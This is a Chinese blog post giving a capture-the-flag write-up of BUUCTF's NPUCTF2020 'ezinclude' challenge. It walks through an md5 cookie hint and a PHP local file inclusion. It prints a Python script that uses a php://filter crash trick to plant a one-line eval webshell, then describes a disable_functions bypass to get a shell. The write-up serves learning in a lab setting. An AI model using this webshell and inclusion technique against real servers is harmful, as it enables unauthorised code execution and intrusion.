Loading

[BUUCTF题解][NPUCTF2020]ezinclude 1

写在最前面

由于这一题涉及到的知识大部分博主并未掌握,所以这篇博客只是对着其他师傅们的WP补充,从开始做题到获得flag补充一下其中博主额外想到的一些方面(师傅们简介准确,这就导致我这种笨比一下衔接不上),在对应的知识点附上一些其他师傅写的技术博客(自己太菜了,没掌握写不出来),在有些对应的地方会附上之后GETSHELL(因为设置了disable_function或还有其他的限制,博主太菜直接使用了蚁剑自带的绕过,但还是存在一定程度上的限制)之后得到的对应页面源码。

正式解题

打开页面,提示username或password错误,但不知道应该什么方式传什么参。

查看源码会发现提示,对参数name和pass传入值,至于使用GET方式倒是后知后觉,测试起来也方便(POST传入没反应就GET好了)。

博主这里以为和PHP中md5的函数有关,但未发现像此处这样的用法,看WP后才知道响应包将一串hash值设置在Cookie内返回,而这串hash值是当前传入的参数name使用md5加密后的结果,我们将获取到的值再用参数pass传入就可以了(见识少这里真想不到)。

这里是对应的PHP文件源码。

 

但成功传入后的页面中设置了跳转前往下一个页面,但在下一个页面中又设置了一个跳转,如果使用浏览器访问下一个页面最后会跳转到设置好的错误页面(再次见识少,一时间以为是操作错了而不是被设置了跳转)。

 

用BrupSuite来访问就好了,可以看到在flflflflag.php中有一句include,包含GET方式传入的参数file。在这里便可以对参数file传入data伪装协议读一下文件源代码。至于在服务器页面文件夹下存在哪些文件,就不得不扫了,因为写博客的时候已经GETSHELL了,所以用终端直接展示。

当前目录下文件列表。

 404.hmtl中并没有什么可用的信息,只是个单纯的HTML页面,这里不展示;index.php则在前面已经展示过了,是那个提示传入参数name和pass的页面。

dir.php(会展示tmp文件夹中内容,也就是我们上传文件的临时所在)

flflflflag.php

config.php(假flag)

flag添加在了phpinfo中的一项,博主是没有想到而会去尝试GETSHELL,想得到的目录都找不到后才看WP查看了phpinfo的页面。但这些都得对flflflflag.php中的include函数下手,到这里就照应到了本题的主要题目"ezinclude"。

具体的知识可以参考这两位师傅的博客:

这里就直接展示博主用来GETSHELL的脚本,查看phpinfo的话将脚本中的一句话换成phpinfo函数就好了。

import requests as res
from io import BytesIO
url="http://5efafd4f-4bae-4237-b3b6-5a8e41058c3c.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
#phpfile对应的就是上传的文件的内容 phpfile="<?php @eval($_POST['cmd']); ?>" filedata={ "file":phpfile } bak=res.post(url=url,files=filedata) print(bak.text)

脚本最后会输出BUUCTF容器不存在的页面,但这并不意味着我们操作失败了,按照知识点来说属于是"php崩溃清空堆栈重启",我们脚本中上传的文件还是存在的。

访问dir.php查看我们上传后的文件。

排查出对应的上传的一句话文件(我这里只上传一个一句话),再用蚁剑连flflflflag.php页面,注意在URL中对参数file传值让include函数包含这个一句话,向上三层目录后便能读取到tmp即其中的临时上传文件。

然后选择绕过disable_function插件再去使用就行。 

 

 

 这时就能使用终端了,虽然还存在一些限制。

这个时候就能去找flag了,在服务器页面文件夹(我们访问页面的同目录)下只有个config.php放了一个假flag,而在根目录下也只有一个假flag。

 (这里"cat /*"是因为有时直接对那个"FIag_!S_it"使用"cat"或者"nl"读取不了,所以便用用"*"代替,但不意味着使用"cat"或者"nl"一定读取不了)

这时还查找不到flag,便可以考虑查看下phpinfo页面了(师傅们直接切中phpinfo就是我想不到的操作),找前面所述把脚本一句话改成phpinfo就好了,再用BrupSuite访问flflflflag.php页面,参数file传对应phpinfo的文件,对响应包搜flag就能找到flag了。

得到flag。

posted @ 2021-05-29 21:05  Article_kelp  阅读(2080)  评论(0编辑  收藏  举报